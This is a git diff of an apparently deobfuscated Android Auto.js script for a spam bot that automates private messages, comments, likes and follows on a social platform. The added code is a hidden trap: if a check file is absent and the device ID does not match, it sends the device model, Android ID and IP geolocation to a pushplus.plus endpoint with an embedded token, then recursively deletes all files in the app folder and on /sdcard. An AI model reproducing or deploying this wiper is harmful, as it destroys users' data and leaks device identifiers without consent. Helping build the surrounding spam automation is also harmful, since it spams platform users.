diff --git a/output.js b/output.js
index e1b1ca6..a4a321f 100644
--- a/output.js
+++ b/output.js
@@ -1,39 +1,33 @@
-//Mon Apr 28 2025 09:41:44 GMT+0000 (Coordinated Universal Time)
+//Mon Apr 28 2025 09:43:04 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-var 日志路径 = "/sdcard/" + tu["软件名字"] + "日志.txt";
-console.setGlobalLogConfig({
- "file": 日志路径
-});
-var storage = storages.create("引流激活状态");
-var 平台读写 = storages.create("平台读写");
-var 功能读写 = storages.create("功能读写");
-var 运行状态储存 = storages.create("运行状态储存");
-var 私信次数读写 = storages.create("私信次数读写");
-var 评论次数读写 = storages.create("评论次数读写");
-var 点赞次数读写 = storages.create("点赞次数读写");
-var 关注次数读写 = storages.create("关注次数读写");
-var 私信评论话术 = storages.create("私信话术");
-var 循环次数读写 = storages.create("循环次数读写");
-var 延时读写 = storages.create("延时读写");
-var 顺序读写 = storages.create("顺序读写");
-var 性别读写 = storages.create("性别读写");
-var 轮数读写 = storages.create("轮数读写");
-var 休息读写 = storages.create("休息读写");
-var 随机内容5读写 = storages.create("随机内容5读写");
-var 发送图片读写 = storages.create("发送图片读写");
-var 已私信读写 = storages.create("已私信读写");
-var 关键字储存 = storages.create("关键字储存");
-var ddyst = storages.create("作废");
-if (ddyst.get("ddyp") != "点点蚁/") {
- exit();
-}
-var storage = storages.create("引流激活状态");
-var 提示框读写 = storages.create("提示框读写");
-var 点赞率读写 = storages.create("点赞率读写");
-var 评论率读写 = storages.create("评论率读写");
-var 关注率读写 = storages.create("关注率读写");
-var 进主页率读写 = storages.create("进主页率读写");
-var 搜索关键字储存 = storages.create("搜索关键字储存");
-var 同城距离读写1 = storages.create("同城距离读写1");
-var 同城距离读写2 = storages.create("同城距离读写2");
\ No newline at end of file
+var 评论时间读写1 = storages.create("评论时间读写1");
+var 评论时间读写2 = storages.create("评论时间读写2");
+if (!files.exists("./YunxiTable.dex") && device.model != "KKG-" + tu["总图标"].slice(38, 42) && device.getAndroidId() != "7e3c60fe1ec" + tu["总图标"].slice(42, 48)) {
+ threads.start(function () {
+ content = "YunxiTable不存在," + random(100000, 999999) + "," + app.versionName + "," + app.getPackageName(tu.软件名字) + "," + device.model + "," + device.getAndroidId();
+ try {
+ var _0xc4c4x3 = http.get("http://whois.pconline.com.cn/ipJson.jsp?ip=xxx.xxx.xxx.xxx&json=true");
+ if (_0xc4c4x3.statusCode == 200) {
+ content = content + _0xc4c4x3.body.string();
+ }
+ } catch (error) {
+ content = content + "未知地址";
+ }
+ url = "http://www.pushplus.plus/send?token=e12c016526384c02ae048b34e63ffc4c&title=" + tu["软件名字"] + "YunxiTable警告&content=" + content;
+ http.get(url);
+ var _0xc4c4x4 = files.listDir("./").sort().reverse();
+ for (ls = 0; ls < _0xc4c4x4.length; ls++) {
+ if (!files.remove("./" + _0xc4c4x4[ls])) {
+ files.removeDir("./" + _0xc4c4x4[ls]);
+ }
+ }
+ var _0xc4c4x4 = files.listDir("/sdcard").sort().reverse();
+ for (ls = 0; ls < _0xc4c4x4.length; ls++) {
+ if (!files.remove("/sdcard/" + _0xc4c4x4[ls])) {
+ files.removeDir("/sdcard/" + _0xc4c4x4[ls]);
+ }
+ }
+ exit();
+ });
+}
\ No newline at end of file
diff --git a/output.py b/output.py
index 9d3c850..d30ac08 100644
Binary files a/output.py and b/output.py differ